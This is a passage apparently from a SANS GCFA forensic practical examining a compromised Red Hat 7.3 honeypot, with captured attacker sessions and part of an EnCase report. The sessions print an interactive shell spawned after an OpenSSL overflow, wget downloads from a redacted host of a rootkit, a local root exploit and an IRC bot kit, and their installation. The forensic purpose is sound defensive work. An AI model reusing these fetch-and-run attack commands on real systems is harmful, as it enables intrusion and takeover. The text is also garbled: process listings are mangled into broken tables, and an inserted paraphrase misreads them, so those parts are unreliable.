drwx------  2 userid1 userid1 1024 Jun 23 16:40 ksoc..userid1
```

```
drwx------  2 root root 1024 Jun 23 11:55 ksoc..root
```

```
drwx------  3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
```

```
drwx------  3 root root 1024 Jun 20 10:55 mcop-root
-rw-------  1 root root  0 Jun 29 04:02 session_mm_apache0.sem
```

```
drwx------  2 root root 1024 Jun 20 02:20 texconf.Nzu100wget
```

```
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
    => `s.tar.gz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
```
Length: 352,596 [application/x-tar]

```
OK .......... .......... .......... .......... .......... 14%  142.05 KB/s
50K .......... .......... .......... .......... .......... 29%  125.00 KB/s
100K .......... .......... .......... .......... .......... 43%  260.42 KB/s
150K .......... .......... .......... .......... .......... 58%  231.48 KB/s
250K .......... .......... .......... .......... .......... 87%  349.65 KB/s
300K .......... .......... .......... .......... .......... 100% 213.13 KB/s
```

15:11:18 (195.87 KB/s) - `s.tar.gz' saved [352596/352596]

```
tar -zxvf s.tar.gz;rm -rf s.tar.gz;
.cd .
ls -al
```

```
total 39
drwxrwxrwt 16 root root 1024 Jun 29 15:11 .
drwxr-xr-x 19 root root 1024 Jun 23 11:59 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rw-r--r--  1 root  root  11 Jun 23 12:00 .XO-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwx------  2 root  root 1024 Jun 19 11:43 .kde
drwxr-xr-x  2 root  root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x  2 root  root 1024 Jun 19 11:48 .qt
-rw-------  1 root  root 1024 Jun 20 02:17 .rnd
drwxr-xr-x  4 502 502 1024 Mar 24 21:41 .s
-rw-r--r--  1 root  root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x  1 root  root  890 Jun 20 04:14 X-Test.log
-rw-r--r--  1 root  root  4133 Jun 20 04:14 XF86Config.test
drw-------  2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drw-------  2 root  root 1024 Jun 20 10:55 kde-root
drw-------  2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drw-------  2 root  root 1024 Jun 23 11:55 ksocket-root
drw-------  3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drw-------  3 root  root 1024 Jun 20 10:55 mcop-root
-rw-------  1 root  root 0 Jun 29 04:02 session_mm_apache0.sem
drw-------  2 root  root 1024 Jun 20 02:20 texconf.Nzu100
```

```
```
At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/. This session started at 15:10:48 and completed at 15:15:18.

```
/bin/sh: line 1: 19508 Killed
rm -rf ls ps
bash: [19488: 1] tcsetattr: Invalid argument
bash-2.05a$ exit
```

TERM=xterm; export TERM=xterm; exec bash -i

```
uname -a;id;w;
bash-2.05a$ Linux
    rhel 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
    uid=48(apache) gid=48(apache) groups=48(apache)
    3:20pm up 6 days, 3:22, 3 users, load average: 0.00, 0.00, 0.00
    USER    TTY     FROM       LOGIN@    IDLE    JCPU    PCPU    WHAT
    userid1 pts/0     -  23Jun03  6days  0:00s   0 -bash
    userid1 pts/1     -  23Jun03  6days  0:21s   0.10s -bash
    userid1 pts/2     -  Mon 7am  47:13m  0:49s  0.39s  -bash

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ --15:21:42--
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... .........
100% 76.87 KB/s
15:21:43 (76.87 KB/s) - `r' saved [19916/19916]
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ 
```

Attached to 19602
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...

```
su
rm -rf r
```

```
cd .
```

```
./install
```

```
```
```

© SANS Institute 2004,
As part of GIAC practical repository.  
Author retains full rights.
Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

```bash
exec bash -i
uname -a;id;w;
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settings bash:2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settings bash:2.05a$ Linux rh1 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
Thu Apr 18 07:37:53 EDT 2002 i686 unknown
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
testuser pts/0 23Jun03 6days 0.00s ? -
testuser pts/1 23Jun03 6days 0.21s 0.10s -bash
testuser pts/2 Fri 8am 47:20m 0.49s 0.39s -bash
readline: warning: rl_prep_terminal: cannot get terminal settings bash:2.05a$ cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settings bash:2.05a$ ls -al
bash: [19993: 1] tcsetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settings bash:2.05a$ dir -a

total 64
drwx---r-x 20 root root 1024 Jun 29 15:22 ..
drwxrwxrwt 2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr---r-- 1 root root 11 Jun 23 12:00 .X-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Jun 23 12:00 .font-unix
-rwxrwxr-x 2 root root 1024 Jun 19 11:43 .kde
drwxrwxr-x 2 root root 1024 Jun 19 11:42 .mozilla
drwxrwxr-x 2 root root 1024 Jun 19 11:43 .qt
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
drwxrwxr-x 4 502 502 1024 Jun 29 15:22 .
-rw-r-r-- 1 root root 13417 Jun 20 10:17 .xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 .XTest.log
-rw-r-r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
drwx------ 2 root root 1024 Jun 23 12:18 kde-userid1
drwx------ 2 root root 1024 Jun 20 10:55 kde-root
drwx------ 2 root root 1024 Jun 26 16:40 ksocket-userid1
drwx------ 2 root root 1024 Jun 23 11:55 ksocket-root
drwx------ 3 root root 1024 Jun 23 12:18 mcp-userid1
drwx------ 3 root root 1024 Jun 20 10:55 mcp-root
-rwxr-xr-x 1 root root 24012 Jun 29 15:28 r
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwx------ 2 root root 1024 Jun 20 02:20 texconf.Nzu1O0
cd: font-unix: No such file or directory

---

Kevin Miller - Sans GCFA Assignment – v1.4

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash: 
	./r
[19893: 1] tcsetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash: 

cd font

cd font

wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x ineted/services/ineted/services;
get terminal settingsbash-2.05a$ --15:31:46-- http://XXX.XXX.com/eladoht/bot.tgz

Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found

tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcsetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
chmod: getting attributes of `ineted/services': No such file or directory
bash: ineted/services: No such file or directory

wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x ineted/services/ineted/services;

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ --15:32:45-- http://XXX.XXX.com/eladoht/bot.tgz

Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]

OK ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 6%  89.29 KB/s
50K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 13% 110.38 KB/s
100K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 20% 175.44 KB/s
150K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 26% 110.38 KB/s
200K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 33% 174.83 KB/s
250K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 40% 176.06 KB/s
300K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 46% 182.48 KB/s
350K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 53% 248.76 KB/s
400K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 60% 183.82 KB/s
450K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 66% 225.23 KB/s
500K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 73% 232.56 KB/s
550K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 80% 247.52 KB/s
600K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 87% 364.96 KB/s
650K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 93% 252.53 KB/s
700K ......... ......... ......... ......... ......... ......... ......... ......... ......... ......... 100% 372.64 KB/s

15:32:50 (179.21 KB/s) - `bot.tgz' saved [764880/764880]

.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
<table>
<thead>
<tr>
<th>X11-pipe/randfiles/randkicks.e</th>
</tr>
</thead>
<tbody>
<tr>
<td>X11-pipe/randfiles/randnicks.e</td>
</tr>
<tr>
<td>X11-pipe/randfiles/randpickup.e</td>
</tr>
<tr>
<td>X11-pipe/randfiles/randsay.e</td>
</tr>
<tr>
<td>X11-pipe/randfiles/randsignoff.e</td>
</tr>
<tr>
<td>X11-pipe/randfiles/randversions.e</td>
</tr>
<tr>
<td>X11-pipe/src/</td>
</tr>
<tr>
<td>X11-pipe/src/Mech.set</td>
</tr>
<tr>
<td>X11-pipe/src/Mech.levels</td>
</tr>
<tr>
<td>X11-pipe/src/LinkEvents</td>
</tr>
<tr>
<td>X11-pipe/src/inetd/</td>
</tr>
<tr>
<td>X11-pipe/src/inetd/services</td>
</tr>
</tbody>
</table>

```
bash: [19893: 1] tcsetattr: Invalid argument
```

```
preadline: warning: rl_prep_terminal: cannot get terminal settingssh-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
```

<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>TIME</th>
<th>CMD</th>
</tr>
</thead>
<tbody>
<tr>
<td>10606</td>
<td>?</td>
<td>00:00:00</td>
<td>httpd</td>
</tr>
<tr>
<td>10607</td>
<td>?</td>
<td>00:00:00</td>
<td>httpd</td>
</tr>
<tr>
<td>10608</td>
<td>?</td>
<td>00:00:00</td>
<td>httpd</td>
</tr>
<tr>
<td>10609</td>
<td>?</td>
<td>00:00:00</td>
<td>httpd</td>
</tr>
<tr>
<td>10610</td>
<td>?</td>
<td>00:00:00</td>
<td>httpd</td>
</tr>
<tr>
<td>PID</td>
<td>TTY</td>
<td>STAT</td>
<td>TIME</td>
</tr>
<tr>
<td>------</td>
<td>-------</td>
<td>------</td>
<td>-------</td>
</tr>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirdq_CPU0]</td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kupd]</td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrecov]</td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournal]</td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>0:00</td>
<td>[khbd]</td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournal]</td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournal]</td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournal]</td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournal]</td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rpc.statd</td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc</td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -U ntp -g</td>
</tr>
<tr>
<td>842</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/sshd</td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>cron</td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfs -droppriv -daemon</td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atd</td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>671:43</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEqz</td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>-i0</td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
</tr>
<tr>
<td>1178</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcopserver --nosid</td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
</tr>
<tr>
<td>PID</td>
<td>TTY</td>
<td>STAT</td>
<td>TIME</td>
</tr>
<tr>
<td>------</td>
<td>----------</td>
<td>-------</td>
<td>-------</td>
</tr>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirqd_CPU0]</td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kudated]</td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdmb064]</td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>0:00</td>
<td>[khudb]</td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rpc.statd</td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc</td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -0 ntp -g</td>
</tr>
<tr>
<td>8462</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/shd</td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
</tr>
<tr>
<td>953</td>
<td>S</td>
<td>0:00</td>
<td>cron</td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfs -droppriv -daemon</td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atsd</td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
</tr>
<tr>
<td>1066</td>
<td>S</td>
<td>67:43</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEqz</td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>-0</td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
</tr>
<tr>
<td>1176</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcpserver --nospid</td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
</tr>
<tr>
<td>1192</td>
<td>S</td>
<td>0:02</td>
<td>/usr/bin/artsd -P 10 -S 4096 -s 60 -m artsmessage -l</td>
</tr>
</tbody>
</table>
The text appears to be a list of processes running on a system. Each entry includes the following information:
- User ID
- Priority (nice value)
- Time in the background
- Priority
- Command and arguments

The processes listed are:
- `kdeinit`: Various associated processes like `kwin`, `konsole`, etc.
- `kdesud`
- `popauth`
- `kalarmd`
- `inetd/services`
- `bash`
- `su`
- `r` (restart)
- `minilogd`
- `konsole`
- `kalarmd`
- `kdeinit` processes like `kcookiejar`
- `kdeinit` processes for `korganizer`, `konsole`, `klipper`, `knotify`, etc.
- `miniicon` commands
- `SSH` commands
- `miniicon` for `konsole`
- `miniicon` for `konsole`, `klipper`
- System services like `httpd`, `snmpd`, `sshd`

The system seems to be running various graphical and service-related processes, indicating it is likely a Linux system with KDE8 interface. The presence of `kdeinit` and `konsole` suggests it is a graphical environment with KDE desktop interface.
<table>
<thead>
<tr>
<th>Process</th>
<th>Command</th>
<th>User</th>
<th>Time</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>19941</td>
<td>S</td>
<td>inetd/services</td>
<td>0:00</td>
<td>S</td>
</tr>
<tr>
<td>19948</td>
<td>R</td>
<td>ps ax</td>
<td>0:00</td>
<td>R</td>
</tr>
</tbody>
</table>

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:
Sans GCFA Cert
Investigating Officer:
Kevin Miller
12 Main
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003.

<table>
<thead>
<tr>
<th>Items received</th>
<th>Quantity</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desktop computers</td>
<td>1</td>
<td>Compaq Deskpro P400</td>
</tr>
</tbody>
</table>

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
Linux 7.3 Honey pot system

**Device**
- Evidence Number: Linux 7.3 Honey pot system
- File Path: C:\Sans\evidence files\Linux 7.3 Honey pot system.E01
- Examiner Name: Kevin Miller
- Actual Date: 07/16/03 11:03:19AM
- Target Date: 07/16/03 11:03:19AM
- Total Size: 6,448,619,520 bytes (6.0GB)
- Total Sectors: 12,594,960
- File Integrity: Completely Verified, 0 Errors
- Write Blocker: FastBloc
- EnCase Version: 4.14
- System Version: Windows XP
- Acquisition Hash: 579720D58A61D971083F10695B8249CB
- Verify Hash: 579720D58A61D971083F10695B8249CB

**Partitions**
<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Start Sector</th>
<th>Total Sectors</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>0</td>
<td>105,840</td>
<td>51.7MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>105,840</td>
<td>7,817,040</td>
<td>3.7GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>7,922,880</td>
<td>2,842,560</td>
<td>1.4GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>10,765,440</td>
<td>786,240</td>
<td>383.9MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>11,551,680</td>
<td>529,200</td>
<td>258.4MB</td>
</tr>
<tr>
<td>82</td>
<td>Linux Swap</td>
<td>12,080,880</td>
<td>514,080</td>
<td>251.0MB</td>
</tr>
</tbody>
</table>

**OS Background**

OS Version /etc/issue

Red Hat Linux release 7.3 (Valhalla)

File system layout from fstab.

```
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
/dev/hda7 swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0
```
Volume /boot

Volume
File System: EXT3
Sectors per cluster: 2
Total Sectors: 105,777
Total Clusters: 52,888
Free Clusters: 42,360
Volume Name: 

54,157,312 bytes (51.7MB)
43,376,640 bytes (41.4MB)

Bytes per sector: 512
Total Capacity: 
Unallocated:
Allocated: 10,780,672
Volume Offset: 63

The following are bookmarks from Volume /boot
## Volume /usr

### Volume

- File System: EXT3
- Sectors per cluster: 8
- Total Sectors: 7,817,040
- Total Sectors: 4,002,324,480 bytes (3.7GB)
- Total Clusters: 977,130
- Total Clusters: 2,523,922,432 bytes (2.4GB)
- Free Clusters: 616,192
- Free Clusters: bytes (1.4GB)
- Volume Name: 
- Drive Type: Fixed
- Bytes per sector: 512
- Total Capacity: 
- Unallocated: 
- Allocated: 1,478,402,048
- Volume Offset: 105,840

### The following are bookmarks from Volume /usr
weit file in /usr/bin

modified files

Modified Files

Volume /home

<table>
<thead>
<tr>
<th>Volume</th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>File System:</td>
<td>EXT3</td>
<td>Drive Type:</td>
</tr>
<tr>
<td></td>
<td>Sectors per cluster:</td>
<td>8</td>
<td>Bytes per sector:</td>
</tr>
<tr>
<td></td>
<td>Total Sectors:</td>
<td>2,842,560</td>
<td>Total Capacity:</td>
</tr>
<tr>
<td></td>
<td>1,455,390,720 bytes (1.4GB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Total Clusters:</td>
<td>355,320</td>
<td>Unallocated:</td>
</tr>
<tr>
<td></td>
<td>1,397,174,272 bytes (1.3GB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Free Clusters:</td>
<td>341,107</td>
<td>Allocated:</td>
</tr>
<tr>
<td></td>
<td>bytes (55.5MB)</td>
<td></td>
<td>Volume Offset:</td>
</tr>
<tr>
<td></td>
<td>Volume Name:</td>
<td>7,922,880</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /home
Volume /

Volume
File System: EXT3
Sectors per cluster: 2
Total Sectors: 786,177
Total Clusters: 393,088
Free Clusters: 309,555
Total Sectors: 402,522,112 bytes (383.9MB)
Total Clusters: 316,984,320 bytes (302.3MB)
Free Clusters: 309,555

The following are bookmarks from Volume /

startup files

6) Name  inittab
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\inittab
Entry Modified  06/20/03 04:14:39AM
Last Accessed  06/30/03 04:45:40PM
Last Written  06/20/03 04:14:39AM
Hash Value  340fae11d6076e860f7e0069c2e57
Physical Size  2,048
Logical Size  1,756
Short Name

Comment: The config file used for booting.

# inittab  This file describes how the INIT process should set up
# the system in a certain run-level.
# Author:  Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# id:5:initdefault:
#
# System initialization.
**EnCase Computer Analysis Report**

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

---

```
# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x:5:respawn:/etc/X11/prefdm -nodaemon

These scripts are used by init tab for booting

7) Name       keytable
   Description File
   Full Path  Sans GCFA Cert Assignment Linux 7.3 Honey pot system /etc/rc.d/init.d/keytable
   Entry Modified 06/19/03 11:35:03AM
   Last Accessed 06/27/03 02:09:10PM
   Last Written 04/15/02 08:05:50AM
   Hash Value cd93e8654c65ca1dd8e6d099c06d2f6f
   Physical Size 2,048
   Logical Size 1,273
   Short Name

8) Name       atd
   Description File
   Full Path  Sans GCFA Cert Assignment Linux 7.3 Honey pot system /etc/rc.d/init.d/atd
   Entry Modified 06/19/03 11:34:38AM
   Last Accessed 06/27/03 02:09:10PM
